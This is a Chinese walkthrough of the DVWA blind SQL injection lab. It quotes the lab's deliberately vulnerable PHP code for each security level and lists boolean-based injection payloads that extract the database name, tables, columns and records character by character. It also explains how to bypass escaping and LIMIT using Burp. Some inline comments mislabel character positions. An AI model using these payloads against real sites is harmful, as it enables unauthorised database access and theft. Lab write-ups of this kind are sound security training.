low:
手工注入方法
服务端只会返回不会显示搜索值,此类无回显的SQL注入称作SQL盲注。
本题只会返回用户存在与否,即真假,此类盲注成为布尔(bool)盲注。
注入思路是猜解库表字段和数据的长度,每个猜完长度之后猜解每一位字符的ascii值,然后拼接之后形成字符。
源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1.判断出是字符型
2.看当前数据库名字长度1’ and length(database())=4;# 显示正确 所以数据库名长度为4
3.判断数据库名字为dvwa
1’ and substr(database(),1,1)=‘d’;# 判断出数据库名字第一个字符为’d’
1’ and substr(database(),2,1)=‘d’;# 判断出数据库名字第一个字符为’v’
1’ and substr(database(),3,1)=‘w’;# 判断出数据库名字第一个字符为’w’
1’ and substr(database(),4,1)=‘a’;# 判断出数据库名字第一个字符为’a’
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2;# 判断出dvwa数据库里有两个表
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1))=5;#判断出dvwa的第二个表名的长度为5
1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1)=‘u’;# 判断出 第二个表名的第一个字符为’u’
1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),2,1)=‘s’;#判断出 第二个表名的第二个字符为’s’;
1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),3,1)=‘e’;#判断出 第二个表名的第三个字符为’e’
1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),4,1)=‘r’;#判断出 第二个表名的第四个字符为’r’
1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),5,1)=‘s’;#判断出 第二个表名第五个字符为’s’
至此已经判断出dvwa第二个表名是 users 同样的方法 判断出第一个表名为 guestbook
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>6;#判断users表的第一个字段长度是否大于6,是的
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>6;#判断users表的第一个字段长度是否大于7,不是,所以第一个字段名的长度为7
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7;#验证user表的第一个字段名长度确实为7
1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)>‘t’;#是对的
1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)>‘u’;#是错的,所以 user表的第一个字段名的第一个字符为u
1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)=‘u’;#是对的
1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2,1)>‘r’;#是对的
1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2,1)>‘s’;#是错的 所以user表第一个字段名的第二个字符是 s
1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2,1)=‘s’;#是对的 确实是s
一样的方法 得到 users表的第一个字段名是 user_id
1’ and length(substr((select user_id from users limit 0,1),1))=1;#是对的 所以user_id字段里 第一条记录的长度为1
1’ and substr((select user_id from users limit 0,1),1,1)=1;#是对的 所以 user_id第一条记录的值为 1
1’ and substr((select user_id from users limit 0,1),1,1)=‘1’;#也是可以的,可能是因为user_id是字符类型
medium:
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
多了mysqli_real_escape_string函数
数值型注入
基本思路和Low一样,因为只能选择仅有的几个选项,所以要在burp里抓包发送数据包注入。
然后mysqli_real_escape_string()函数过滤掉了一些特殊字符,用到单引号的时候要把值修改成16进制然后替代之前的值
下图可以看到盲注成功。
high:
多了LIMIT 1,但因为可以注释,所以LIMIT没什么用
用burp抓包修改,思路和Low不能说一样,只能说一模一样
盲注成功